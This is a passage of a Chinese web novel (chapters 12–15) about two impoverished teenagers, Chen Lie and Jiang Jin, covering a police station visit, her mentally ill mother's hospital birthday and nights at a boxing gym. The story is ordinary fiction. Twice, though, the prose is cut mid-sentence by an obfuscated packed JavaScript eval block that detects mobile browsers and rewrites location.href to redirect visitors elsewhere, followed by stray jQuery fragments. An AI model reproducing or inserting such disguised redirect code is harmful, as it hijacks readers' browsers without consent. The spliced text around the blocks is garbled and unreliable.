陈列脱下棒球外套,抛给她。 姜堇沉默着把外套穿上,拉上拉链,挡住自己的胸口。 很奇怪的,陈列这样一个冷冽的人,他的外套上却有种洁净的、温和的洗衣液香味。 陈列只剩一件短袖,又勾下腰去,恢复了先前的坐姿。 直到这时他才问:“故意的?” “什么?”姜堇在他身边轻轻出声。 “故意让我看到。”陈列说:“他对你那样。” “嗯。”姜堇轻轻地应道:“我想赌一赌。” 12. 秘密 如果不是生活沉沉压得他抬不起肩的话,陈列几乎想笑出声来了。 赌什么?他有什么值得好赌的? 这时警察来敲了敲办公室的门:“你们跟我过来吧。” 带他们去做了笔录,又问姜堇:“你有什么诉求?” “我受伤了。”姜堇冷静而清晰:“我要他赔我医药费。” 三人被凑到一起。 男人一听,头上的青筋都炸了起来:“是老子挨打,还要老子赔医药费?” “这是警察局,你嘴里放干净一点。”警察拍了下桌子:“你知道猥亵是什么意思吧?要联系你家里人的。” 男人不言语了。 像是沉思良久以后,他恶狠狠瞪向姜堇:“你要多少?” 姜堇报出个数。 他冷嗤一声,又恶狠狠道:“二维码给我。” 姜堇依然冷静:“我只收现金。” 男人骂骂咧咧从口袋里掏出钱来,一张张红钞数清楚了又团成一团,砸在姜堇胸口上:“拿去!以后别再惹到我。” 警察坐在办公桌后皱了下眉。 姜堇蹲下身去,一张张把那些皱起的红钞捡起来,展开、抚平、叠在一起。陈列穿着短袖站在一旁,沉默盯着她那条洁净的发缝。 她浓密的乌色长发海藻般披在雪色肩头,愈发显得那道发缝白皙。 姜堇把那些红钞叠起来塞进口袋,男人已愤而离开了。姜堇问警察:“我们可以走了么?” “走吧走吧。” 正好遇到警察下班,姜堇和陈列走出警局,恰碰上警察换了便服出来。警察看姜堇一样:“这话我换了便服才能说。知不知道我为什么帮你?” 他上下扫视姜堇一眼,视线最后落在姜堇花了的眼妆上。 “猥亵?”他说:“你是从什么地方出来的?不猥亵你这样的猥亵什么样的呢?我帮你,是因为你这样的最麻烦了。” 姜堇嘴唇烈焰的口红也掉了大半,双唇蠕动了下。 有一瞬间陈列以为她会哭,可她唇间只发出咭咭苍凉的笑声。 陈列一刹想到初识她那时。 他觉得她像朵早开的玫瑰,所有与十七八岁年纪并不相称的风情掩在皮囊之下。可玫瑰为何要早开呢?那只会苍凉地更早凋谢而已。 他俩站在警局门口的路灯下,姜堇裹着他的外套,衬得她双腿更细、身形更为单薄。 陈列不知该说什么,看一眼她受伤的膝盖:“钱拿到了,去医院么?” 她沉默着走向路口,陈列跟在她身后,看她伸手拦了辆出租,拉开车门坐进后座,对司机报出一家医院的名字。 车门并没有关上,陈列犹豫一秒,掌住车门坐进去。 司机发动车子。 直到这时,姜堇才阖上了眼,方才在警局直挺挺的背软了下来,倚着车背。陈列借着窗外流溢的路灯看她一眼,她脸上的妆容脱了大半,因此显出一份苍白,和少见的疲态。 一根长发嵌在她抿住的唇角,而她甚至没有伸手将它挑出去。 从出租车下来已是午夜时分。 姜堇并没有往急诊那边去,反而走向住院楼。陈列不愿发问,沉默跟在她身后。 她乘电梯上四楼,先是拐进洗手间。出来的时候一张小脸湿漉漉的,妆容已尽数洗去。 她走向一间病房,轻轻推开门,陈列在病房外停住脚步。 不多时,她出来了,轻手轻脚掩住病房门。 低声对陈列说:“是我妈妈。” 陈列抬头,借着走廊稀薄的灯光,看着病房门牌上“精神科”三字。 姜堇在走廊里那排蓝色塑料等候椅上坐下,坐了会儿,脱了鞋,蜷腿躺下,那么高挑的个子,蜷成小小的一团。 陈列沉默地在等候椅另一端坐下。 走廊不熄灯,再微弱的灯光在这样的夜里也变得刺眼。陈列后脑勺抵住墙,阖上眼。他不太感觉得到时间流逝,在老家等那些讨债的人离开时也是这样,时间或快或慢,像潮汐或是指间沙,他并辨不分明。 再一睁眼的时候,天蒙蒙亮了。 他扭头看向另一端,姜堇已经不在那里了。 他站起来走进洗手间,漱了口,又鞠一捧冷凉的水洗了脸。迈出洗手间的时候,正看见姜堇的背影往病房走。 这时走廊里已有了早起的病人在活动,陈列跟过去。 姜堇推开病房门进去。 那是一间三人病房。左边近墙的那张病床,床头靠着的女人瘦削、枯槁,看着三十出头年纪,却依然迸发出一种惊人的美丽。 她睁着一双空洞的眼,隔着老远的距离望着窗外。 如果不是因为她面庞与姜堇惊人的肖似,陈列会猜测她是姜堇的姐姐。但现在他知道,她是姜堇的妈妈。 姜堇美丽的、年轻的、出现了极端精神状况的妈妈。 姜堇坐到病床边,她拿着个撒了白糖粒的糯米糖饺,另手端着碗甜豆花,轻柔语调问女人:“你想先吃哪一样?” 女人不耐烦地一挥手,甜豆花尽数打翻在姜堇身上套着的、陈列那件外套上。 姜堇低头看了眼。 女人指着姜堇的鼻子骂:“妖精!长成这德行不是妖精是什么?” 细细看下来,女人眉眼比姜堇更细,眼尾一颗红痣,看着比姜堇多一分魅惑。 姜堇抽了张纸,擦着外套上的甜豆花。因她始终低着头,看不到她此刻的表情。 直到她抬起头来,冲女人很是柔和地笑了下。 陈列便是在这时走到她身后。 她扭回头,看陈列一眼,指指床头柜:“你那份早餐我也买了。” 又转过头去对着自己的母亲,不看陈列了。 陈列站着,垂眸看着她雪白的发缝,开口:“我试试吧。” 姜堇站起来,指间还攥着擦过甜豆花的并不洁净的纸巾,重复了一遍陈列方才那句话:“你试试吧。” 她说:“我好累。” 这是陈列第一次看到骨子里发狠的她,露出一种深切的疲态。 她把靠墙的一张行军床展开来,那应该是医院的陪护床。床上的格纹床单应该是她从家里带来的,她和衣侧躺上去,枕头很低,她一只手垫在侧颊下。 陈列坐到病床旁,看一眼身后的她。 她蜷成一团,安静地睁着眼望着这边。 昨晚在走廊的等候椅上熬一夜,也许她是怕刺激母亲的情绪。 陈列转回头面对病床上的女人,拿起刚才的糯米糖饺,又拆了自己那份甜豆花,问女人:“你想先吃哪一样?” 女人不对着姜堇那张跟她过分肖似的面庞时,情绪好似反而比较平和。 指指陈列手里那碗甜豆花。 陈列便一口一口喂给她吃。 姜堇在身后很轻地叫了声:“陈列。” 陈列没有回头,因为女人在问他:“你有没有看到我的阿堇啊?” “什么?”陈列反问。 “我的阿堇。”女人絮絮叨叨说着,拿手比着病床沿:“大概这么高, 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她从口袋里抽出纸巾擦去嘴角糖粒,望向窗外一眼。便是在这时她说:“本想给我妈定靠窗的床位,但每个月贵三百块钱。” “带我看这些干嘛?”陈列问:“博同情?” 姜堇轻轻地笑了声,也没否认。 直到很久以后,陈列才想明白这个姜堇好似天生明白的道理——共同的秘密,才是最坚实的结盟。 - 公交车开到臭水河边,两人钻入各自的船舱去换校服。 陈列的动作更快些,走出船舱时看一眼,姜堇那边的门还掩着。 他也没等,自己先登上公交去学校。第一节课已经开始上了,整座校园静谧一片,所幸今天没碰上教导主任。 再见姜堇是下午的第一节课后。 陈列昨晚迷迷糊糊熬了整夜,去食堂吃完午饭,在一方僻静竹林边的石凳上睡着了。 醒来已是第一节课下,他回教学楼,路过一班教室,看到教导主任拉姜堇在走廊里说话。 她是地地道道的乖学生,国旗下讲话、演讲比赛、竞赛,老师和校领导都会第一时间想到她。 走廊里零星有其他学生穿行,聊天的、打闹的、追赶的。陈列穿过那些人,从姜堇身后走过。 他平静地目视前方,并没看姜堇一眼。姜堇的眼尾也并没向他瞥过来。 他们是距离最远的两类人,即便他的校服衣襟扫向她后背,也没人会把两人联系在一起。倒是教导主任瞟了他一眼,嘴里嘀咕道:“学校里有这种学生我们老师也很头疼的,每天迟到早退。还好姜堇你这样的好学生不会搭理他。” 姜堇没说话,淡淡地笑了下。 陈列这时回了一下头。 姜堇站在窗口投射的一束深秋阳光中,整张脸干净到半透明的地步。却无端让人想起昨夜在警察局门口、她站在那束路灯下,面对警察说的那句话,带着一脸花掉的妆容,发出咭咭而苍凉的笑声。 姜堇依然没朝他看过来。 只是她双手背在身后。食指、中指、无名指,以不知什么规律轻轻摆荡着。 陈列眯了眯眼。 清晨的公交车上,姜堇坐在他左前方的位置,像小动物般大口吞咽吃完了整个糖饺,接着望向窗外,在拂晓的第一抹曙色中,扬起还沾着颗糖粒的纤细手指。 便是这样无意识地轻轻摆荡着,像暗夜里苍凉的玫瑰,想捞住一抹晨光。 13. 情书 这几天,陈列和姜堇并没有再联系。 陈列只是每次回到那条破船,扫一眼与之相邻属于姜堇的那条,他的外套被姜堇洗净了,用衣架挂在甲板拉出的一道铁丝上。 风一吹,船舱摇摇晃晃,外套摇摇晃晃。 直到第三天的夜里,陈列放学后绕路去了趟拳馆,瘦猴说老板娘叫他过去一趟,交代场周末的比赛。 末了老板娘用涂成乌墨色的指甲戳戳他:“别惹事。我们这里要低调,晓得吧?” 陈列回到臭水河边时,闻到空气里将要落雨的潮湿气息。 待他钻进船舱,雨已经零星坠了下来。 陈列在那条窄而硬的木板上坐着,只要不开窗,船舱里便显得格外逼仄,昏黄的吊灯熏出灰尘的气息,又被无孔不入钻进来的潮气扑熄。 雨势越来越大,砸在半腐朽的窗棱上。陈列坐着,感觉心里应和着咚咚的回响,这是他来江城后下得最大的一场雨。 直到船舱外响起很轻的敲门声,很轻,像一根羽毛往人的耳膜上挠痒。 陈列抿了下唇,顿一秒,站起来去开门的时候,才发现方才心里那咚咚不安的回响似某种征兆,他好似早预感有人会在这样的雨夜来敲他的门。 金属的门闩生锈了,拉开的时候总有一个顿滞,再嘎吱一声伴着锈味弥散。姜堇站在船舱外,穿校服,手里却打一把巨大的红伞,像她的那些红裙一般炽烈的颜色。 她另只肘弯里搭着陈列的那件外套,说了句:“下雨了,衣服必须得收起来了。” 陈列看着她。 她也直视着陈列沉沉的黑瞳。 陈列终是让开了门口,姜堇勾了勾腰,像是要在进船舱以前脱掉自己的鞋。陈列惊诧一瞬:“不用。” 为什么要脱鞋呢? 姜堇便停下动作,收伞的瞬间已有无数滂沱的雨滴落在她肩头,她一闪身钻了进来。船舱比甲板矮两分,伴着她轻盈落地,船舱晃了两晃,陈列的一颗心,跟着在胸腔里晃了两晃。 姜堇环视一圈船舱内,先就轻轻地笑了。 陈列不知她笑什么,坐在窗边窄而硬的木板上,和平素一般面无表情地看着她。 船舱里陈设简单——一片靠窗嵌钉在墙上的木板,中央一方凸起的矮桌,一只朽掉的樟木箱子,另有一张高些的凳子,既可以坐、也可以当桌子用。 姜堇搬了那张高凳,坐到陈列对面。她的头顶,是陈列拉出的一根铁丝。 姜堇含着那点清浅的笑意:“我说呢。” 她伸长手臂把外套递给陈列,陈列接了,小心避开了她过分轻柔的手指,然而外套落入掌心的瞬间,却柔软异常一如她的手指。 她指指头顶:“你衣服都晾在这里?” “嗯。”他随意把外套搭放在一旁。 她说:“你洗衣液放得太多了,而且,衣服也不见阳光。” 那点清浅的笑意更明显了些,眼尾有小弧度的弯折。 陈列觉得她在笑他。 她一进他的船舱,他便露了底。他鲜少打扫,地面上蒙一层灰,一只生锈铁桶搁在一旁,洗衣的时候倒很多的洗衣液,泡上半天,总觉得这样可以少揉搓些。 他便是这样一个颓而得过且过的人。唯独她头顶拉出的那根铁丝,不是因为他的“得过且过”。 是因为他眼见着她把所有衣物晾在甲板上——T恤、轻薄的睡衣、张扬的红裙。 他每日路过,莫名觉得自己窥探了她的隐私,并且不想向她泄露自己的隐私。 姜堇此时脸上的笑意昭显她看穿了这一点,但她并不言明,一点点狡黠的聪慧藏在眼角的褶皱里。 陈列不回应,那点笑意就渐渐淡褪了下去。 变回她平时干净到有些清冷的一张脸。陈列不自在的点在于,平时见到这样的她都在学校,臭水河边的她都穿烈烈红裙,化与年龄不相符的妆,穿越人群走近陈列时,身上有劣质的香水味。 此时她清丽地坐在这里,好像某种约定俗成的界线,就此被打破了。 她轻柔地一根根捏着自己的手指,雨滴咚咚作响地砸在船舱上,人的心脏一下下跟着跳是生理本能。接着是雷,将要入冬的某种征兆似的,轰然炸响在人的头顶。 愈发反衬出船舱里的静寂,好似能听到她轻缓的呼吸声。 两人都不说话,只是在这样的暴雨夜隔一方矮桌对坐着。陈列不看她的脸,眼神落在她肩头,那里在她钻入船舱前落了几滴雨,洇湿藏蓝校服的肩头,被她斜垂在那里的马尾一扫,像被毛笔尖扫开的墨。 也不知涂写的是何种心情。 又一声轰雷炸开。陈列把眼神从她肩头移开去,才问:“害怕?” “嗯?”她停止揉捏手指的无意识动作,朝他看过去的时候,见他盯着地板上拼接的缝隙。 然后才抬起眼皮来,抬手,手指指了下船舱顶,之后姜堇才意识到他指的是船舱顶外的天空。因为他问:“打雷了,害怕?” 不然她为什么一直不离开,一直坐在这里。 灯光昏黄得好似烛火,暴雨打着船舱轻摇,那盏灯似随时要燃尽熄灭,带来某种暧昧的黑暗。 姜堇又挑了挑唇角,露出她刚进船舱时的那种笑意。 “我不害怕。”她轻轻地说:“我只是在想,你会不会害怕。” - 陈列几乎要笑了。 他?害怕? 他想起家门口泼满似鲜血的那些油漆,那些生锈的短刀,那些人整夜整夜的守在家里唤醒将睡的你、直到你的意志被磨垮。 那些时候他都没有怕过,他勉力睁着布满血丝的双眼,只感到一种深切的麻木。 这样的他会怕打雷? 可当姜堇说出这句话的时候,出乎他自己意料的、他并没有反驳,他只是沉默地坐着,船舱低矮,以至于他微微佝偻着腰,贴身的T恤口袋里,装着他妈妈的那张旧照片,贴着他心脏。 他觉得他并不是怕打雷。 只是心里有什么隐秘的、幽微的、连他自己都从未注意过的某种东西,也许被她不甚在意地揪了出来。 姜堇也不再说话了,恢复无意识轻捏手指的动作。 船舱外的雷声轰鸣又寂灭、寂灭又轰鸣,因窗户紧闭,完全看不到闪电。两人静静对坐着,船舱晃得越来越厉害,直到她斜垂在肩头的马尾滑落,在脑后摆荡。 有一瞬间陈列脑子里冒出不切实际的想法:这条船今夜会不会倾覆在这里。 然而没有。 直到雷声静下去、雨点也不再擂鼓般捶打着船舱,她站了起来,走出船舱前并没同他告别。 她掩上门,听见她那把红伞在船舱外“嘭”一声撑开时,他才放松了双肩。直到这时,他才意识到自己方才一直双肩紧绷。 他摸过手机看了一眼,竟已是夜里三点。 - 第二天上学,陈列埋头睡了两节课。 抬起头来的时候是课间,所有人要下楼去做课间操。叶炳崐过来搭着他的肩问:“列哥,昨晚做贼去了?” 他被叶炳崐搭着肩路过一班教室,她的座位靠窗,正提着笔奋笔疾书着什么,时而把滑落的碎发勾回耳后。 杜珉珉在一旁催她:“姜堇快走了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398604|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “来了。”她嘴里这样应着,盖上手里水性笔的笔帽,眼神又在那张试卷上流连一下,这才抬起头来。 陈列已移动眼神去。心里想:这人今天精神头怎么还这样足? 真是奇人。 周末去打比赛,短短时间陈列在拳馆已经出了名,他不怎么搭理人,架不住不少人主动来同他搭话。 他候场的时候,身边围绕的人群忽而爆发出一阵起哄声。 他不明所以,顺着那些人的眼神看过去,才发现姜堇穿一身红色短裙、端着扎啤托盘站在那里。 拳馆的灯光昏暗而诡谲,他甚至不确定她有没有看向他。 有人起着哄问:“列哥,那是不是你的小女朋友?” 陈列这才意识到,经过上周他的出手,这里的人已默认他与姜堇的关系。 否则,他为何替她出头?或许这就是她想要的结果,她那样扎眼的存在,需要“保护神”。 陈列不置可否,沉默以对。另外的卖酒女郎也环绕在他身边,带着娇笑,眼神暧昧地在他拳击短裤外的腹股沟兜一圈:“列哥的腹肌真漂亮,现在想摸一下,是不是要阿堇同意才行啦?” 又扬声越过人群冲姜堇喊:“喂阿堇,可不可以啊?” 陈列到这时觉得尴尬了起来。 他正要开口,却见姜堇端着托盘走了过来。灯光下她清丽的五官都被妆容吃掉,她没看陈列,看着刚刚朝她喊话的卖酒女郎,带着种很难捉摸的笑意。 轻声说:“不可以哦。” - 直到比赛结束,两人走出拳馆,还和以前一样,一前一后的距离。 有那么一瞬陈列想停下脚步,跟她说清楚刚刚拳馆里发生的事,可这事郑重拎出来谈,又显得有些怪。 第二天学校,午饭后,陈列照例找了竹林边的石凳,抱着双臂躺下午睡。 睁眼时,风拂着已枯黄的竹叶漫天飘落,姜堇抱着本英语书站在那里,看样子是想找地方背书。 竹林最幽僻,离教学楼和食堂都远,鲜少有人愿意走过来。 姜堇的视线落在一处,陈列随着瞟了眼,才发现他刚刚睡觉的石凳一侧,有人放了只粉色信封,端秀字迹写着。 姜堇抱着书已打算走开去了。 陈列叫住她:“喂。” 这应该是出乎姜堇意料的一个举动,因为两人在学校里从来没交集。可她转回身来的时候神情还是静静淡淡的,不惊讶、不探究、不审判。 这也许是陈列从未排斥她的原因。 陈列坐起身来,抬手在寸头上揉了把。他不笑的时候五官显凶,做这样的动作时显得不怎么耐烦,指了指石桌对面的一张圆石凳,叫姜堇:“坐。” 姜堇便坐下了,手里的英语书放在石桌上。 陈列把那只信封丢过去:“打开。” 姜堇抬眸瞟了他一眼。 他沉声说:“念。” 姜堇便打开那只信封,抽出信纸展开,低声念:“亲爱的陈列……” 炽热的语句,不过她声调清寒,念起来并不显得动情。念完后抬起眼皮看一看陈列,陈列问:“你知道我会怎么做?” 她笑一笑,站起来,信纸装回信封,走到垃圾桶边。 手一扬,随着深秋最后的风落入垃圾桶。 那些年轻的、浪漫的、不切实际的情感灰飞烟灭。 陈列后颈根浮出细细的汗,忽而觉得自己的举动多此一举。 他不想恋爱的想法,她很清楚,不需要他来提醒。而她或许也是同样。 她找上他,不就因为他们是同类? 14. “生日快乐。” 陈列和姜堇的“同盟关系”,便这样维持了下去。 在学校里他们是从不相交的平行线。唯独在拳馆,当他打赢了比赛从拳台下来,有卖酒女郎的眼神在他闪着汗的腹肌上兜一圈:“嚯!” 又有人起哄:“阿堇,你男朋友赢了,还不跟他嘴儿一个!” 陈列心想:“男朋友”,真是奇怪的三个字,也不知他这辈子,会不会是任何人的男朋友。 姜堇端着啤酒托盘静静站在一边,她个子高挑,但陈列比她还要高些,俯视的视角下,能看到她抹了烈焰口红的红唇。 这真是一种有些奇怪的感觉。他们分明手都没牵过,坐在暴雨夜的船舱里彼此无言沉默,却要被人开这样的玩笑。 有时姜堇含笑看过来的时候,陈列会避开她的眼神。 不知为何,那总让他想起她在警局门口的路灯下、咭咭而苍凉的笑声。 转眼已是十一月末。 江城的初冬,温度相较于北方来说并不算低,只是空气里的湿寒似要钻入人的骨头缝,这种阴冷的感觉在河畔尤甚。 周末下午,陈列在船舱里午睡时,有人来敲他船舱的门。 他的眼神由懵转为凛冽不过瞬息之间,从木板上翻身下来去开门。 门外站着姜堇,看一眼他藏在背后的手里拎着个铁板手。那一刻姜堇一定想到了校门口向她询问陈列的黑衣人,不过她没说什么,问陈列:“有空么?” 陈列先是反问了句:“你没去超市上班?” “请假了。”姜堇问:“你会做蛋糕么?” “不会。” “哦。来帮忙。”姜堇转身走到甲板上,转身,见陈列仍站在船舱里:“来啊。” 陈列跟上。 这是他第一次登上姜堇的那条旧船,姜堇站在甲板上换脱鞋,这时节她还穿一双夏天的塑胶脱鞋,袜筒很短,露出白生生的脚腕。 看一眼陈列脚上的鞋,问:“你能光脚么?” 陈列默然脱了鞋,发现她的门闩也和自己那条船上一样,因生锈而不那么灵光,推开的时候发出嘎吱的钝响。 不知为何,陈列对要进姜堇的船舱这事生出了一丝别扭。但看姜堇那么自然,他这种别扭又好似显得多余。 进了船,陈列扫视一眼。 相较于他的船舱,姜堇这边干净得过分了。 也是一张窄窄靠墙钉着的木板床,上面的格纹床单陈列见过类似的,便是在精神科病房的陪护床上。旧旧的地板很干净,低矮的木桌很干净,生锈的水桶很干净。 这一切的干净里都呈出一种用力过猛,像她每晚放学后拼命挥动双臂猛跑回臭水河边一样。 她对生活里的一切用力挣扎。 她搬了只凳子放在矮桌边,叫陈列:“坐。” 自己勾腰坐在那条既当床又当沙发的木板上。矮桌上,放着买来的蛋糕胚,奶油枪里装满乳白和红粉的奶油。 陈列坐下问:“你生日?” 姜堇笑了笑,没抬头,用那条洁白的发缝对着陈列:“我妈妈。” 她穿一件洗到褪色的厚重旧羽绒服,手上戴一双露指的红色毛线手套,微微起了球,连接两只手套的一根红毛线挂在她白皙的脖子上。 可她脚上又穿一双夏天的凉拖鞋,对着冻红的手指呵了一口气:“我真不知是热还是冷。” 这是真的。 明明河畔湿冷的空气让人像被浸在里面,船舱里又逼仄得令人喘不过气。 船舱里是不可能有烤箱的,所以她买了现成的蛋糕胚,带着毛线手套,把奶油小心翼翼挤上去,又用刮刀抹平。 因为没有那种让蛋糕一直转的半自动工具,这一切动作她都做得小心翼翼。 陈列问:“叫我来干什么?” “嗯?”她的注意力全在手里的蛋糕上,这一声应得漫不经心。 “我不会做蛋糕。”陈列说:“叫我来干什么?” “我也不知道。”她带着淡笑,应这句的时候也是漫不经心的语气。也不知是真不知道,还是此时没空跟陈列说。 陈列便静定坐着,再不说话了。 他看着她低头抹奶油,又把红粉奶油点缀上去。她裸露在毛线手套外的半截手指冻得越来越红,她抬起来捧着双手呵口气,红唇间吐出团团的白雾。 便是这时她仰起面孔来问:“你猜我妈叫什么名字?” 姜什么呢?陈列猜不到。 姜堇低着头,握着红粉的奶油枪、在乳白色奶油上一笔一画地写:[白柳絮]。 她抬头对着陈列笑道:“想不到吧?我竟然跟我爸姓,尽管他在我的人生里根本没有出现过。” 陈列的双唇动了动,但他这样的性子,并说不出一句话。 姜堇又埋下头去,在蛋糕上一笔一画地写:[生日快乐]。 不知是她手冻得发僵,还是那软塌塌的奶油枪太不好操纵,那一笔一画像是小学生的字迹。 她又小心把蛋糕推进一旁准备好的纸盒,叫陈列:“走吧。” 陈列跟着她走出船舱,双手插在棉服口袋里,看她费劲地把生锈的门闩锁住。 两人往公交车站走的时候,姜堇:“哦对了。” 陈列眼尾朝她落过去。 她鼻头冻得有些发红,穿那件洗褪色的面包羽绒服,让她比平素在学校里显得稚气些。她跟陈列说:“你穿这棒球款式的棉服挺帅的。” 陈列瞥她一眼:“你真这么觉得?” 姜堇摇头:“没有。我只是想这么说会不会让你高兴一点。” 说着自己没绷住笑了。 陈列鼻腔里嗤一声,扭头看向路边渐秃的灌木时眼尾一挑,是真的有一点点想笑。 什么鬼。 两人等车的时候,分站在公交站牌的两边。 及至上车,姜堇捧着蛋糕盒在前排坐下。 陈列并没在她身旁落座,她身后的一排也坐满了。陈列往后走了几步,在她的两排以后坐下。 往她的方向瞥一眼,她捧着纸盒微低着头很认真坐着,羽绒服的毛领边露出小截纤白的脖颈。 到了医院,正是傍晚。 推门走进那三人病房,这都是紧急病症期已过、转入长期护理的病人,长期镇静类的药物让她们脸上出现一种雷同的、近乎呆滞的神色,统一望着窗口的方向。 姜堇走过去,把手里的纸盒放到床头柜上,拿起一柄梳子,坐到床畔给她妈梳头。 白柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400079|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮望着窗外,好似浑然不察觉。 直到姜堇把她的长发编成三股辫,用皮筋绑了垂在脑后,捧过蛋糕盒打开来,轻声跟她说:“妈,生日快乐。” 她迟滞的目光垂落下来,定在[白柳絮]那三个字上。 “谁是白柳絮?”她忽而愤怒起来,指着姜堇的鼻子:“你是白柳絮!小妖精,只会勾引男人,怎么这么贱……” 她声音比姜堇尖些,一切谩骂侮辱性的词汇更显尖刻,伸手把姜堇手里的蛋糕打落在地。 姜堇在窗边蹲下身去,她没有哭,只是很轻地吸了下鼻子。陈列在那一刻明白了,白柳絮是把与她肖似的姜堇、当成了年轻时的她自己。 一切指向姜堇的恶毒词汇,都是指向年轻时的她自己,一个美丽的、脆弱的、不知如何自处而显得愚蠢的女人,是那样被谩骂过来的。 姜堇的视野范围内,出现了陈列的球鞋。 陈列会洗衣服,但一双鞋穿得很糙。姜堇抬头,看到陈列冷硬的一张脸,他双手还插在棉服口袋里,跟姜堇说:“蛋糕不要了。” 姜堇张了张嘴,但没说什么,只是摇了摇头。 陈列蹲了下来。 姜堇看着陈列在自己面前蹲下来,低头,那毛茸茸的寸头显得像什么不好惹的小狗,让人反而很想伸手揉一把。他把那摔坏蛋糕仅剩的完好一半捡起来,托在纸盒里,也没拉姜堇,只是捧到白柳絮面前,同她说:“生日快乐。” 陈列贴身的T恤口袋里,还装着他亡母的那张旧照。他也不知自己这句“生日快乐”,是对白柳絮说,还是对自己一丝印象也无的妈妈说。 白柳絮在没看到姜堇那张与她肖似的脸时,情绪反而比较平静,盯着蛋糕上残存的[生日快乐]几个字,眼睛迷茫地眨了下。 姜堇站起来,独自一人往病房门口走去,远远地倚在病房门口,大概怕白柳絮看见她的脸再受刺激。 接着,她的歌声轻轻地响了起来:“祝你生日快乐,祝你生日快乐……” 她的声线清冷,唱起这样热闹的歌来是另一重意味,显得很幽远,让人有一点点哀伤。 病房里所有人都迟钝地望着窗外,没有人注意到她的歌声,除了陈列。陈列朝她看过去,只见她头靠在半脱了漆的奶油黄门框上,也望着窗外,那眼神也显得幽远。 让人觉得她是看向很远、很远的地方去,轻舟已过万重山。 蛋糕勉强还能看,但已是吃不得了。陈列收拾了纸盒扔进病房外的垃圾箱,姜堇走过来笑一笑:“走吧。” 两人走出医院。等公交车的时候,陈列瞥姜堇一眼,她仍没有哭,甚至没有显得想哭,一张脸十分平静,只是手指强迫症一般,抠着羽绒服下摆刚刚溅上的、现已干掉的奶油。 她无比用力,奶油抠不掉,反而把自己指尖抠得发红。 陈列叫她一声:“姜堇。” 她充耳未闻般。 陈列又叫一声:“姜堇。” 她仍神经质地发狠抠着。 陈列蹙了下眉,上前,一只大手伸过去把她整只手包进手里,并不温柔,用力攥紧。姜堇抬头,看到陈列蹙眉的一张脸,跟她说:“别抠了,过去了。” 那是陈列第一次握她的手。 15. 别舔了 这一瞬并未持续得太久。 公交车远远开了过来,陈列的手便突如其来放开了,一如他突如其来握上姜堇的手一样。两人登上公交,还是一前一后的座位,隔着几排。 陈列坐在后排,看姜堇扭头望着窗外的夕阳。 在臭水河畔下车,已到了要去拳馆的时间。 今晚有卖酒女郎过生日,她男友订了巨大的双层蛋糕过来,那种老旧的、不入流的、艳俗的奶油蛋糕。闺蜜们纷纷拉开手里的礼花筒,礼花纸屑纷扬而落。 姜堇混在女郎间同样笑着,只是她清冷的五官令笑容显得苍凉,又在浓妆的加持下格外魅惑。这一刻闪烁的灯光下,她看上去格外像她母亲年轻时。 礼花纸屑落在她长发上,她甚至没有懒得去拂,任它那样挂着,整个人倚住旁边的吧台。 女郎们高喊“生!日!快!乐!”的时候她也跟着高喊,笑到淬出一点点眼泪,声音有些发尖。 生日女郎切了块大大的生日蛋糕递给陈列:“拿去给你的女朋友!” 这话大声,姜堇也听到了,但她仍挂着那样的笑,并没朝陈列看过来。 陈列端着纸盘穿过人群,走到吧台边,倚住,将纸盘放到台面一边。周围的人群喧闹着,没有任何人注意他们这边的动静。陈列叫姜堇:“女朋友。” 姜堇一瞬微微睁圆了眼。 可她很快恢复了先前那般的笑意,问陈列:“不是来给我蛋糕吗?放一边干嘛。” “不要蛋糕。”陈列说:“管你买杯酒。” 姜堇笑得更带些妩色:“十块。” 陈列从口袋里掏出张旧钞来,抚了抚,展平,推到姜堇面前。 姜堇又一扬唇,勾腰从吧台下放着的托盘里端出杯扎啤来,压住桌上的那张十块钱。扎啤放得久了,陈列看一眼杯壁,气泡已消失殆尽,变成一汪平静的澄黄色液体,宛如一枚经年的琥珀。 姜堇看着陈列,陈列反把那杯子推到姜堇面前。 姜堇微一挑眉:“给我?” 陈列压了压下巴。 姜堇:“可我还没满十八岁。” 陈列:“别装。” 姜堇:“可我是真的没有喝过酒。” 陈列:“那你试试。” 姜堇描得细细的眉尾又挑了下,把十块钱从杯底抽出来,还给陈列,似是对陈列倾诉,又似是自言自语:“十块钱能买到的快乐,算是快乐吗?” 她端起巨大的玻璃杯喝了口,低头笑了:“真奇怪,我怎么一点也没觉得酒苦呢?不是都说年纪大了才能喝得懂酒?我们怎么就到了能喝懂酒的年纪了呢。” 陈列:“我从来没有喝不懂酒的年纪。” 姜堇端着酒杯看他,他已转过身去侧对着姜堇。吧台上散落着早已不脆的鱼皮花生,他捡起一颗抵在指间,当弹球一般去击打另一颗。 姜堇便拨了拨长发不去看他了。也转身正对着吧台,两只手肘支在吧台上,时而端起扎啤喝一口。 等她再次扭头去看陈列的时候,陈列已不知所踪了。 姜堇轻声嘀咕一句:“还真放心。” 今晚的拳赛为着女郎生日延期,人群闹哄哄地喧嚷整夜。姜堇坐在一张高脚吧椅上,撑着头看着这一切,如瀑的长发散落、掩住她雪白的皓腕。 她有点晕,很轻地眨一眨眼睛。 直到人群散去,她晃了晃头站起来。她有时候会拖到拳馆所有人散去再离开,热闹喧嚷消失不见,和空无一人的校园一样,让她想起她妈置身的那间病房。 人的正常与失常间,真有那样分明的一道界线么? 